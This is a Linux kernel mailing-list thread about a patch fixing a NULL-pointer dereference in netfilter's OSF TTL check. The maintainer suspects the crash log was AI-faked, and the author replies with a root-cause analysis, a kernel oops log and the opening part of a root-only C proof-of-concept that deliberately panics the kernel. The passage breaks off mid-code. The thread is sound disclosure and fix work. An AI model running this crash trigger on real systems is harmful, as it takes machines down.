public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* [PATCH] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl
@ 2026-04-14  7:45 Kito Xu (veritas501)
  2026-04-14  8:22 ` Pablo Neira Ayuso
                   ` (2 more replies)
  0 siblings, 3 replies; 8+ messages in thread
From: Kito Xu (veritas501) @ 2026-04-14  7:45 UTC (permalink / raw)
  To: pablo
  Cc: Kito Xu (veritas501), Florian Westphal, Phil Sutter,
	David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
	Simon Horman, Fernando Fernandez Mancera, netfilter-devel,
	coreteam, netdev, linux-kernel

nf_osf_ttl() calls __in_dev_get_rcu(skb->dev) and passes the result
to in_dev_for_each_ifa_rcu() without checking for NULL. When the
receiving device has no IPv4 configuration (ip_ptr is NULL),
__in_dev_get_rcu() returns NULL and in_dev_for_each_ifa_rcu()
dereferences it unconditionally, causing a kernel crash.

This can happen when a packet arrives on a device that has had its
IPv4 configuration removed (e.g., MTU set below IPV4_MIN_MTU causing
inetdev_destroy) or on a device that was never assigned an IPv4
address, while an xt_osf or nft_osf rule with TTL_LESS mode is
active and the packet TTL exceeds the fingerprint TTL.

Add a NULL check for in_dev before the iteration. When in_dev is
NULL, return 0 (no match) since source-address locality cannot be
determined without IPv4 addresses on the device.

KASAN: null-ptr-deref in range
 [0x0000000000000010-0x0000000000000017]
RIP: 0010:nf_osf_match_one+0x204/0xa70
Call Trace:
 <IRQ>
 nf_osf_match+0x2f8/0x780
 xt_osf_match_packet+0x11c/0x1f0
 ipt_do_table+0x7fe/0x12b0
 nf_hook_slow+0xac/0x1e0
 ip_rcv+0x123/0x370
 __netif_receive_skb_one_core+0x166/0x1b0
 process_backlog+0x197/0x590
 __napi_poll+0xa1/0x540
 net_rx_action+0x401/0xd80
 handle_softirqs+0x19f/0x610
 </IRQ>

Fixes: a218dc82f0b5 ("netfilter: nft_osf: Add ttl option support")
Signed-off-by: Kito Xu (veritas501) <hxzene@gmail.com>
---
 net/netfilter/nfnetlink_osf.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index d64ce21c7b55..85dbd47dbbd4 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -43,6 +43,9 @@ static inline int nf_osf_ttl(const struct sk_buff *skb,
 	else if (ip->ttl <= f_ttl)
 		return 1;
 
+	if (!in_dev)
+		return 0;
+
 	in_dev_for_each_ifa_rcu(ifa, in_dev) {
 		if (inet_ifa_match(ip->saddr, ifa)) {
 			ret = (ip->ttl == f_ttl);
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 8+ messages in thread

* Re: [PATCH] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl
  2026-04-14  7:45 [PATCH] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl Kito Xu (veritas501)
@ 2026-04-14  8:22 ` Pablo Neira Ayuso
  2026-04-14  8:37   ` Kito Xu (veritas501)
  2026-04-14  9:19 ` Pablo Neira Ayuso
  2026-04-14 10:49 ` [PATCH v2] " Kito Xu (veritas501)
  2 siblings, 1 reply; 8+ messages in thread
From: Pablo Neira Ayuso @ 2026-04-14  8:22 UTC (permalink / raw)
  To: Kito Xu (veritas501)
  Cc: Florian Westphal, Phil Sutter, David S. Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman,
	Fernando Fernandez Mancera, netfilter-devel, coreteam, netdev,
	linux-kernel

Hi,

On Tue, Apr 14, 2026 at 03:45:56PM +0800, Kito Xu (veritas501) wrote:
> nf_osf_ttl() calls __in_dev_get_rcu(skb->dev) and passes the result
> to in_dev_for_each_ifa_rcu() without checking for NULL. When the
> receiving device has no IPv4 configuration (ip_ptr is NULL),
> __in_dev_get_rcu() returns NULL and in_dev_for_each_ifa_rcu()
> dereferences it unconditionally, causing a kernel crash.

How could skb->dev be NULL !?

This is run from prerouting, input and forward.

> This can happen when a packet arrives on a device that has had its
> IPv4 configuration removed (e.g., MTU set below IPV4_MIN_MTU causing
> inetdev_destroy) or on a device that was never assigned an IPv4
> address, while an xt_osf or nft_osf rule with TTL_LESS mode is
> active and the packet TTL exceeds the fingerprint TTL.
> 
> Add a NULL check for in_dev before the iteration. When in_dev is
> NULL, return 0 (no match) since source-address locality cannot be
> determined without IPv4 addresses on the device.
> 
> KASAN: null-ptr-deref in range
>  [0x0000000000000010-0x0000000000000017]
> RIP: 0010:nf_osf_match_one+0x204/0xa70

I cannot believe this, I think AI is mocking KASAN splat, if that is
the case, I am sorry to say, but it is too bad if you are doing this.

> Call Trace:
>  <IRQ>
>  nf_osf_match+0x2f8/0x780
>  xt_osf_match_packet+0x11c/0x1f0
>  ipt_do_table+0x7fe/0x12b0
>  nf_hook_slow+0xac/0x1e0
>  ip_rcv+0x123/0x370
>  __netif_receive_skb_one_core+0x166/0x1b0
>  process_backlog+0x197/0x590
>  __napi_poll+0xa1/0x540
>  net_rx_action+0x401/0xd80
>  handle_softirqs+0x19f/0x610
>  </IRQ>
> 
> Fixes: a218dc82f0b5 ("netfilter: nft_osf: Add ttl option support")
> Signed-off-by: Kito Xu (veritas501) <hxzene@gmail.com>
> ---
>  net/netfilter/nfnetlink_osf.c | 3 +++
>  1 file changed, 3 insertions(+)
> 
> diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
> index d64ce21c7b55..85dbd47dbbd4 100644
> --- a/net/netfilter/nfnetlink_osf.c
> +++ b/net/netfilter/nfnetlink_osf.c
> @@ -43,6 +43,9 @@ static inline int nf_osf_ttl(const struct sk_buff *skb,
>  	else if (ip->ttl <= f_ttl)
>  		return 1;
>  
> +	if (!in_dev)
> +		return 0;
> +
>  	in_dev_for_each_ifa_rcu(ifa, in_dev) {
>  		if (inet_ifa_match(ip->saddr, ifa)) {
>  			ret = (ip->ttl == f_ttl);
> -- 
> 2.43.0
> 

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl
  2026-04-14  8:22 ` Pablo Neira Ayuso
@ 2026-04-14  8:37   ` Kito Xu (veritas501)
  2026-04-14  8:55     ` Pablo Neira Ayuso
  0 siblings, 1 reply; 8+ messages in thread
From: Kito Xu (veritas501) @ 2026-04-14  8:37 UTC (permalink / raw)
  To: pablo
  Cc: coreteam, davem, edumazet, ffmancera, fw, horms, hxzene, kuba,
	linux-kernel, netdev, netfilter-devel, pabeni, phil

From: Kito Xu <hxzene@gmail.com>

Hi Pablo,

On Tue, Apr 14, 2026 at 10:22:06AM +0200, Pablo Neira Ayuso wrote:
> How could skb->dev be NULL !?

skb->dev is NOT NULL. The NULL value is `in_dev` returned by
__in_dev_get_rcu(skb->dev), because dev->ip_ptr is NULL after
inetdev_destroy().

> This is run from prerouting, input and forward.

Correct. The crash path is in PREROUTING on lo.

> I cannot believe this, I think AI is mocking KASAN splat, if that is
> the case, I am sorry to say, but it is too bad if you are doing this.

This is a real bug with a reproducible PoC. I understand the KASAN
output in my original patch email looked suspicious because it was
interleaved with the PoC's stderr output (the PoC prints debug lines
while the kernel oops scrolls by simultaneously). That was a formatting
mistake on my part.

Let me clarify the root cause and provide a clean KASAN report.

## Root Cause

nf_osf_ttl() calls __in_dev_get_rcu(skb->dev) and passes the result
to in_dev_for_each_ifa_rcu() without a NULL check:

    static inline int nf_osf_ttl(const struct sk_buff *skb,
                                  int ttl_check, unsigned char f_ttl)
    {
        struct in_device *in_dev = __in_dev_get_rcu(skb->dev);
        ...
        /* ttl_check == NF_OSF_TTL_LESS, ip->ttl > f_ttl → falls through */
        in_dev_for_each_ifa_rcu(ifa, in_dev) {   /* NULL deref when in_dev == NULL */
            ...

in_dev_for_each_ifa_rcu expands to:

    for (ifa = rcu_dereference((in_dev)->ifa_list); ...)

When in_dev is NULL, (NULL)->ifa_list is a NULL dereference at offset
0x10, which matches the KASAN report: null-ptr-deref in range
[0x0000000000000010-0x0000000000000017].

## How ip_ptr becomes NULL

The loopback driver (loopback.c) does NOT call ether_setup(), so
dev->min_mtu remains 0. This allows setting MTU below IPV4_MIN_MTU
(68). Setting lo MTU to 67 triggers:

    NETDEV_CHANGEMTU event
      → inetdev_valid_mtu(67) == false
      → inetdev_destroy(in_dev)
      → RCU_INIT_POINTER(dev->ip_ptr, NULL)

After this, lo can still receive packets (loopback_xmit → __netif_rx),
but __in_dev_get_rcu(lo) returns NULL.

## Trigger sequence

1. Load OSF fingerprint (genre=Linux, ttl=64, ttl_check=TTL_LESS)
2. Set up iptables raw PREROUTING rule with xt_osf match
3. Set lo MTU to 67 → inetdev_destroy → ip_ptr = NULL
4. Inject SYN (TTL=255 > f_ttl 64) via AF_PACKET on lo
5. ip_rcv → PREROUTING → xt_osf → nf_osf_ttl() → NULL deref

## Clean KASAN report (from separate capture, no interleaving)

```
[    2.873592] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000002: 0000 [#1] SMP KASAN NOPTI
[    2.878162] KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]
[    2.881836] CPU: 0 UID: 0 PID: 169 Comm: poc Not tainted 7.0.0-rc7-next-20260410+ #11 PREEMPTLAZY 
[    2.885160] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[    2.889197] RIP: 0010:nf_osf_match_one+0x204/0xa70
[    2.891768] Code: 7f 08 84 c0 0f 85 46 06 00 00 41 3a 4c 24 08 0f 83 17 01 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7f 10 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 f8 07 00 00 49 8b 5f 10 48 85 db 0f 84 8f fe ff
[    2.898548] RSP: 0018:ffffc90000007740 EFLAGS: 00010212
[    2.900439] RAX: dffffc0000000000 RBX: ffffc90000007878 RCX: 0000000000000040
[    2.903090] RDX: 0000000000000002 RSI: ffff88800b4f30c0 RDI: 0000000000000010
[    2.906785] RBP: ffff88800fca4820 R08: 0000000000000000 R09: 0000000000000000
[    2.909418] R10: 0000000000000001 R11: ffff88800b4b7680 R12: ffff88800b4f30d0
[    2.912058] R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000000
[    2.914978] FS:  0000000013b96380(0000) GS:ffff8880e2489000(0000) knlGS:0000000000000000
[    2.917975] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    2.920236] CR2: 00000000004a0000 CR3: 000000000fa3f000 CR4: 00000000003006f0
[    2.922952] Call Trace:
[    2.923947]  <IRQ>
[    2.924779]  nf_osf_match+0x2f8/0x780
[    2.926183]  ? __pfx_nf_osf_match+0x10/0x10
[    2.928630]  ? kvm_sched_clock_read+0x11/0x20
[    2.930946]  ? local_clock+0x15/0x30
[    2.933963]  ? kasan_save_track+0x26/0x60
[    2.936266]  ? __pfx__raw_spin_lock+0x10/0x10
[    2.938605]  xt_osf_match_packet+0x11c/0x1f0
[    2.940360]  len=40ipt_do_table+0x7fe/0x12b0
[    2.942846]  ? __pfx_ipt_do_table+0x10/0x10
[    2.944267]  ? __pfx___smp_call_single_queue+0x10/0x10
[    2.946109]  ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[    2.949929]  nf_hook_slow+0xac/0x1e0
[    2.951288]  ip_rcv+0x123/0x370
[    2.952544]  ? __pfx_ip_rcv+0x10/0x10
[    2.954789]  ? tryinc_node_nr_active+0xe6/0x160
[    2.956407]  ?netif_r __pfx_ip_rcv_finish+0x10/0x10
[    2.958990]  ? __smp_call_single_queue+0x2c7/0x480
[    2.960907]  ? __pfx_ip_rcv+0x10/0x10
[    2.962315]  __netif_receive_skb_one_core+0x166/0x1b0
[    2.964374]  ? __pfx___netif_receive_skb_one_core+0x10/0x10
[    2.966465]  ? _raw_spin_lock_irq+0x8a/0xe0
[    2.968828]  ? update_cfs_rq_load_avg+0x5a/0x560
[    2.970585]  process_backlog+0x197/0x590
[    2.973489]  __napi_poll+0xa1/0x540
[    2.974887]  net_rx_action+0x401/0xd80
[    2.976358]  ? __pfx_net_rx_action+0x10/0x10
[    2.977973]  ? timerqueue_linked_add+0x1f4/0x3d0
[    2.980634]  handle_softirqs+0x19f/0x610
[    2.982012]  pfx_handle_softirqs+0x10/0x10
[    2.984853]  do_softirq.part.0+0x3b/0x60
[    2.986360]  </IRQ>
[    2.987161]  <TASK>
[    2.987845]  __local_bh_enable_ip+0x64/0x70
[    2.989320]  __dev_queue_xmit+0x9f7/0x3100
[    2.990853]  ? kvm_clock_get_cycles+0x18/0x30
[    2.992377]  ? ktime_get+0xeb/0x160
[    2.994640]  ? __pfx_skb_set_owner_w+0x10/0x10
[    2.996116]  ? __pfx___dev_queue_xmit+0x10/0x10
[    2.997850]  ? __pfx__copy_from_iter+0x10/0x10
[    2.999529]  ? packet_parse_headers+0x342/0x6b0
[    3.002132]  ? __pfx_packet_parse_headers+0x10/0x10
[    3.003983]  ? _raw_spin_lock_irqsave+0x95/0xf0
[    3.005551]  packet_sendmsg+0x21c2/0x5580
[    3.007039]  ? tty_compat_ioctl+0x238/0x500
[    3.008445]  ? __pfx_ldsem_down_read+0x10/0x10
[    3.010973]  ? _raw_spin_lock_irqsave+0x95/0xf0
[    3.012634]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[    3.014620]  ? __pfx_packet_sendmsg+0x10/0x10
[    3.016292]  ? __pfx_aa_sk_perm+0x10/0x10
[    3.017657]  ? __check_object_size+0x4b/0x650
[    3.019888]  __sys_sendto+0x34e/0x3a0
[    3.021353]  ? __pfx___sys_sendto+0x10/0x10
[    3.022854]  ? alloc_fd+0x33b/0x5b0
[    3.024081]  ? ksys_write+0xfc/0x1d0
[    3.025333]  ? __pfx_ksys_write+0x10/0x10
[    3.027069]  __x64_sys_sendto+0xe0/0x1c0
[    3.028593]  do_syscall_64+0x64/0x680
[    3.030069]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[    3.032055] RIP: 0033:0x4243f7
[    3.033269] Code: ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b5 0f 1f 00 f3 0f 1e fa 80 3d 6d bc 08 00 00 41 89 ca 74 10 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 69 c3 55 48 89 e5 53 48 83 ec 38 44 89 4d d0
[    3.039978] RSP: 002b:00007ffc7ab0e508 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[    3.042801] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00000000004243f7
[    3.045585] RDX: 0000000000000036 RSI: 00007ffc7ab0e590 RDI: 0000000000000003
[    3.048006] RBP: 00007ffc7ab0e5d0 R08: 00007ffc7ab0e540 R09: 0000000000000014
[    3.050552] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffc7ab0e6f8
[    3.053184] R13: 00007ffc7ab0e708 R14: 00000000004aaf68 R15: 0000000000000001
[    3.055872]  </TASK>
[    3.056758] Modules linked in:
[    3.057796] ---[ end trace 0000000000000000 ]---
[    3.059605] RIP: 0010:nf_osf_match_one+0x204/0xa70
[    3.061034] Code: 7f 08 84 c0 0f 85 46 06 00 00 41 3a 4c 24 08 0f 83 17 01 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7f 10 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 f8 07 00 00 49 8b 5f 10 48 85 db 0f 84 8f fe ff
[    3.067353] RSP: 0018:ffffc90000007740 EFLAGS: 00010212
[    3.069348] RAX: dffffc0000000000 RBX: ffffc90000007878 RCX: 0000000000000040
[    3.072135] RDX: 0000000000000002 RSI: ffff88800b4f30c0 RDI: 0000000000000010
[    3.074613] RBP: ffff88800fca4820 R08: 0000000000000000 R09: 0000000000000000
[    3.076982] R10: 0000000000000001 R11: ffff88800b4b7680 R12: ffff88800b4f30d0
[    3.079532] R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000000
[    3.082213] FS:  0000000013b96380(0000) GS:ffff8880e2489000(0000) knlGS:0000000000000000
[    3.085348] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    3.087128] CR2: 00000000004a0000 CR3: 000000000fa3f000 CR4: 00000000003006f0
[    3.089429] Kernel panic - not syncing: Fatal exception in interrupt
[    3.092322] Kernel Offset: disabled
[    3.093649] Rebooting in 1 seconds..
```

## PoC (standalone C, requires root, compiles with musl or glibc)

```c
/*
 * PoC: nf_osf_ttl() NULL pointer dereference (nfnetlink_osf.c)
 *
 * Trigger: lo MTU set to 67 (< IPV4_MIN_MTU=68) via ioctl
 *          → NETDEV_CHANGEMTU → !inetdev_valid_mtu(67)
 *          → inetdev_destroy(lo) → RCU_INIT_POINTER(lo->ip_ptr, NULL)
 *
 *          SYN injected via AF_PACKET on lo → loopback_xmit
 *          → eth_type_trans → __netif_rx → ip_rcv → PREROUTING
 *          → xt_osf → nf_osf_match → nf_osf_match_one
 *          → nf_osf_ttl(skb, TTL_LESS=1, f_ttl=64)
 *            L34: in_dev = __in_dev_get_rcu(lo) → NULL
 *            L46: in_dev_for_each_ifa_rcu(ifa, NULL) → CRASH
 *
 * Requirements (all built-in in target kernel):
 *   CONFIG_IP_NF_RAW=y, CONFIG_NETFILTER_XT_MATCH_OSF=y,
 *   CONFIG_NETFILTER_NETLINK_OSF=y, CONFIG_PANIC_ON_OOPS=y
 *
 * Run as root.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#include <linux/if.h>
#include <linux/netlink.h>

/* ------------------------------------------------------------------ */
/* Inline definitions — avoid dependency on kernel UAPI headers       */
/* ------------------------------------------------------------------ */

/* netlink / netfilter */
#define NETLINK_NETFILTER       12
#define NFNETLINK_V0            0
#define NFNL_SUBSYS_OSF         5
#define NLM_F_REQUEST           0x0001
#define NLM_F_ACK               0x0004
#define NLM_F_CREATE            0x0400
#define NLMSG_ALIGNTO           4
#define NLMSG_ALIGN(len)        (((len)+NLMSG_ALIGNTO-1) & ~(NLMSG_ALIGNTO-1))
#define NLMSG_HDRLEN            ((int)NLMSG_ALIGN(sizeof(struct nlmsghdr)))
#define NLMSG_LENGTH(len)       ((len) + NLMSG_HDRLEN)
#define NLA_ALIGNTO             4
#define NLA_ALIGN(len)          (((len)+NLA_ALIGNTO-1) & ~(NLA_ALIGNTO-1))
#define NLA_HDRLEN              ((int)NLA_ALIGN(sizeof(struct nlattr)))

#define NLMSG_ERROR             0x2

struct nfgenmsg {
    __u8  nfgen_family;
    __u8  version;
    __be16 res_id;
};

/* OSF netlink */
#define OSF_MSG_ADD             0
#define OSF_ATTR_FINGER         1
#define MAXGENRELEN             32
#define MAX_IPOPTLEN            40
#define OSF_WSS_PLAIN           0

struct nf_osf_wc {
    __u32 wc;
    __u32 val;
};

struct nf_osf_opt {
    __u16 kind;
    __u16 length;
    struct nf_osf_wc wc;
};

struct nf_osf_user_finger {
    struct nf_osf_wc wss;
    __u8  ttl;
    __u8  df;
    __u16 ss;
    __u16 mss;
    __u16 opt_num;
    char  genre[MAXGENRELEN];
    char  version[MAXGENRELEN];
    char  subtype[MAXGENRELEN];
    struct nf_osf_opt opt[MAX_IPOPTLEN];
};

/* iptables / x_tables */
#define XT_TABLE_MAXNAMELEN     32
#define XT_EXTENSION_MAXNAMELEN 29
#define XT_FUNCTION_MAXNAMELEN  30
#define NF_INET_PRE_ROUTING     0
#define NF_INET_LOCAL_OUT       3
#define NF_INET_NUMHOOKS        5
#define NF_ACCEPT               1
#define IPPROTO_TCP             6
#define IPT_SO_SET_REPLACE      64
#define IPT_SO_GET_INFO         64
#define SOL_IP                  0

/* XT_ALIGN: align to 8 bytes (alignof struct with u64 member) */
#define XT_ALIGN(s)             (((s) + 7) & ~7)

struct xt_counters {
    __u64 pcnt, bcnt;
};

struct ipt_ip {
    struct in_addr src, dst;
    struct in_addr smsk, dmsk;
    char iniface[16], outiface[16];
    unsigned char iniface_mask[16], outiface_mask[16];
    __u16 proto;
    __u8  flags;
    __u8  invflags;
};

struct ipt_entry {
    struct ipt_ip ip;
    unsigned int nfcache;
    __u16 target_offset;
    __u16 next_offset;
    unsigned int comefrom;
    struct xt_counters counters;
    unsigned char elems[0];
};

struct xt_entry_match {
    union {
        struct {
            __u16 match_size;
            char  name[XT_EXTENSION_MAXNAMELEN];
            __u8  revision;
        } user;
        __u16 match_size;
    } u;
    unsigned char data[0];
};

struct xt_entry_target {
    union {
        struct {
            __u16 target_size;
            char  name[XT_EXTENSION_MAXNAMELEN];
            __u8  revision;
        } user;
        __u16 target_size;
    } u;
    unsigned char data[0];
};

struct xt_standard_target {
    struct xt_entry_target target;
    int verdict;
};

struct xt_error_target {
    struct xt_entry_target target;
    char errorname[XT_FUNCTION_MAXNAMELEN];
};

struct ipt_getinfo {
    char name[XT_TABLE_MAXNAMELEN];
    unsigned int valid_hooks;
    unsigned int hook_entry[NF_INET_NUMHOOKS];
    unsigned int underflow[NF_INET_NUMHOOKS];
    unsigned int num_entries;
    unsigned int size;
};

struct ipt_replace {
    char name[XT_TABLE_MAXNAMELEN];
    unsigned int valid_hooks;
    unsigned int num_entries;
    unsigned int size;
    unsigned int hook_entry[NF_INET_NUMHOOKS];
    unsigned int underflow[NF_INET_NUMHOOKS];
    unsigned int num_counters;
    struct xt_counters *counters;
    /* entries follow */
};

/* nf_osf_info — iptables match data for xt_osf */
#define NF_OSF_GENRE            (1 << 0)
#define NF_OSF_TTL_FLAG         (1 << 1)   /* NF_OSF_TTL in the kernel */
#define NF_OSF_TTL_LESS         1

struct nf_osf_info {
    char  genre[MAXGENRELEN];
    __u32 len;
    __u32 flags;
    __u32 loglevel;
    __u32 ttl;
};

/* IP / TCP headers for packet crafting */
struct iphdr {
#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
    __u8 ihl:4, version:4;
#else
    __u8 version:4, ihl:4;
#endif
    __u8  tos;
    __u16 tot_len;
    __u16 id;
    __u16 frag_off;
    __u8  ttl;
    __u8  protocol;
    __u16 check;
    __u32 saddr;
    __u32 daddr;
};

struct tcphdr {
    __u16 source;
    __u16 dest;
    __u32 seq;
    __u32 ack_seq;
#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
    __u16 res1:4, doff:4, fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
#else
    __u16 doff:4, res1:4, cwr:1, ece:1, urg:1, ack:1, psh:1, rst:1, syn:1, fin:1;
#endif
    __u16 window;
    __u16 check;
    __u16 urg_ptr;
};

/* AF_PACKET / Ethernet */
#ifndef AF_PACKET
#define AF_PACKET               17
#endif
#define ETH_P_IP                0x0800
#define ETH_P_ALL               0x0003
#define ETH_HLEN                14
#define ETH_ALEN                6

struct sockaddr_ll {
    unsigned short sll_family;
    __be16 sll_protocol;
    int    sll_ifindex;
    unsigned short sll_hatype;
    unsigned char  sll_pkttype;
    unsigned char  sll_halen;
    unsigned char  sll_addr[8];
};

/* ------------------------------------------------------------------ */
/* Helpers                                                            */
/* ------------------------------------------------------------------ */

#define DIE(fmt, ...) do { \
    fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__); \
    exit(1); \
} while (0)

#define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)

static __u16 ip_checksum(const void *buf, int len)
{
    const __u16 *p = buf;
    __u32 sum = 0;
    while (len > 1) {
        sum += *p++;
        len -= 2;
    }
    if (len == 1)
        sum += *(__u8 *)p;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (__u16)~sum;
}

/* ------------------------------------------------------------------ */
/* Step 1: Load OSF fingerprint via nfnetlink                         */
/* ------------------------------------------------------------------ */

static void load_osf_fingerprint(void)
{
    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
    if (fd < 0)
        DIE("socket(NETLINK_NETFILTER): %s", strerror(errno));

    struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
    if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
        DIE("bind(netlink): %s", strerror(errno));

    struct nf_osf_user_finger finger;
    memset(&finger, 0, sizeof(finger));
    finger.wss.wc  = OSF_WSS_PLAIN;
    finger.wss.val = 0;
    finger.ttl     = 64;
    finger.df      = 0;
    finger.ss      = 40;
    finger.mss     = 0;
    finger.opt_num = 0;
    strncpy(finger.genre, "Linux", MAXGENRELEN);

    int finger_attr_len = NLA_HDRLEN + sizeof(finger);
    int nfmsg_len = NLMSG_ALIGN(sizeof(struct nfgenmsg)) + NLA_ALIGN(finger_attr_len);
    int total_len = NLMSG_LENGTH(nfmsg_len);

    char *buf = calloc(1, total_len);
    if (!buf) DIE("calloc");

    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    nlh->nlmsg_len   = total_len;
    nlh->nlmsg_type  = (NFNL_SUBSYS_OSF << 8) | OSF_MSG_ADD;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK;
    nlh->nlmsg_seq   = 1;
    nlh->nlmsg_pid   = getpid();

    struct nfgenmsg *nfg = (struct nfgenmsg *)(buf + NLMSG_HDRLEN);
    nfg->nfgen_family = AF_UNSPEC;
    nfg->version      = NFNETLINK_V0;
    nfg->res_id       = 0;

    struct nlattr *nla = (struct nlattr *)(buf + NLMSG_HDRLEN +
                          NLMSG_ALIGN(sizeof(struct nfgenmsg)));
    nla->nla_len  = finger_attr_len;
    nla->nla_type = OSF_ATTR_FINGER;
    memcpy((char *)nla + NLA_HDRLEN, &finger, sizeof(finger));

    struct sockaddr_nl dest = { .nl_family = AF_NETLINK };
    if (sendto(fd, buf, total_len, 0,
               (struct sockaddr *)&dest, sizeof(dest)) < 0)
        DIE("sendto(OSF_MSG_ADD): %s", strerror(errno));

    char rbuf[4096];
    int n = recv(fd, rbuf, sizeof(rbuf), 0);
    if (n < 0)
        DIE("recv(netlink): %s", strerror(errno));

    struct nlmsghdr *rnlh = (struct nlmsghdr *)rbuf;
    if (rnlh->nlmsg_type == NLMSG_ERROR) {
        int *errp = (int *)(rbuf + NLMSG_HDRLEN);
        if (*errp != 0)
            DIE("OSF fingerprint load failed: %s (err=%d)",
                strerror(-*errp), *errp);
    }

    LOG("OSF fingerprint loaded (genre=Linux, ttl=64, ss=40, df=0)");
    free(buf);
    close(fd);
}

/* ------------------------------------------------------------------ */
/* Step 2: Set up iptables raw table with xt_osf match                */
/* ------------------------------------------------------------------ */

#define SIZEOF_IPT_ENTRY        (XT_ALIGN(sizeof(struct ipt_entry)))
#define SIZEOF_MATCH_OSF        (XT_ALIGN(sizeof(struct xt_entry_match) + sizeof(struct nf_osf_info)))
#define SIZEOF_STD_TARGET       (XT_ALIGN(sizeof(struct xt_standard_target)))
#define SIZEOF_ERR_TARGET       (XT_ALIGN(sizeof(struct xt_error_target)))

#define ENTRY0_SIZE  (SIZEOF_IPT_ENTRY + SIZEOF_MATCH_OSF + SIZEOF_STD_TARGET)
#define ENTRY1_SIZE  (SIZEOF_IPT_ENTRY + SIZEOF_STD_TARGET)
#define ENTRY2_SIZE  (SIZEOF_IPT_ENTRY + SIZEOF_STD_TARGET)
#define ENTRY3_SIZE  (SIZEOF_IPT_ENTRY + SIZEOF_ERR_TARGET)
#define ENTRIES_SIZE (ENTRY0_SIZE + ENTRY1_SIZE + ENTRY2_SIZE + ENTRY3_SIZE)

static void setup_iptables_osf(void)
{
    int rawfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (rawfd < 0)
        DIE("socket(RAW): %s", strerror(errno));

    struct ipt_getinfo info;
    memset(&info, 0, sizeof(info));
    strncpy(info.name, "raw", XT_TABLE_MAXNAMELEN);
    socklen_t optlen = sizeof(info);
    if (getsockopt(rawfd, SOL_IP, IPT_SO_GET_INFO, &info, &optlen) < 0)
        DIE("getsockopt(IPT_SO_GET_INFO): %s", strerror(errno));

    LOG("raw table: valid_hooks=0x%x, num_entries=%u, size=%u",
        info.valid_hooks, info.num_entries, info.size);

    unsigned int old_num_entries = info.num_entries;

    size_t repl_size = sizeof(struct ipt_replace) + ENTRIES_SIZE;
    char *blob = calloc(1, repl_size);
    if (!blob) DIE("calloc");

    struct ipt_replace *repl = (struct ipt_replace *)blob;
    strncpy(repl->name, "raw", XT_TABLE_MAXNAMELEN);
    repl->valid_hooks = (1 << NF_INET_PRE_ROUTING) | (1 << NF_INET_LOCAL_OUT);
    repl->num_entries = 4;
    repl->size = ENTRIES_SIZE;

    unsigned int off0 = 0;
    unsigned int off1 = ENTRY0_SIZE;
    unsigned int off2 = ENTRY0_SIZE + ENTRY1_SIZE;
    unsigned int off3 = ENTRY0_SIZE + ENTRY1_SIZE + ENTRY2_SIZE;

    repl->hook_entry[NF_INET_PRE_ROUTING] = off0;
    repl->hook_entry[NF_INET_LOCAL_OUT]   = off2;
    repl->underflow[NF_INET_PRE_ROUTING]  = off1;
    repl->underflow[NF_INET_LOCAL_OUT]    = off2;

    repl->num_counters = old_num_entries;
    struct xt_counters *ctrs = calloc(old_num_entries, sizeof(struct xt_counters));
    if (!ctrs) DIE("calloc counters");
    repl->counters = ctrs;

    char *entries = blob + sizeof(struct ipt_replace);

    /* Entry 0: OSF match rule in PREROUTING */
    {
        struct ipt_entry *e = (struct ipt_entry *)(entries + off0);
        memset(e, 0, SIZEOF_IPT_ENTRY);
        e->ip.proto = IPPROTO_TCP;
        e->target_offset = SIZEOF_IPT_ENTRY + SIZEOF_MATCH_OSF;
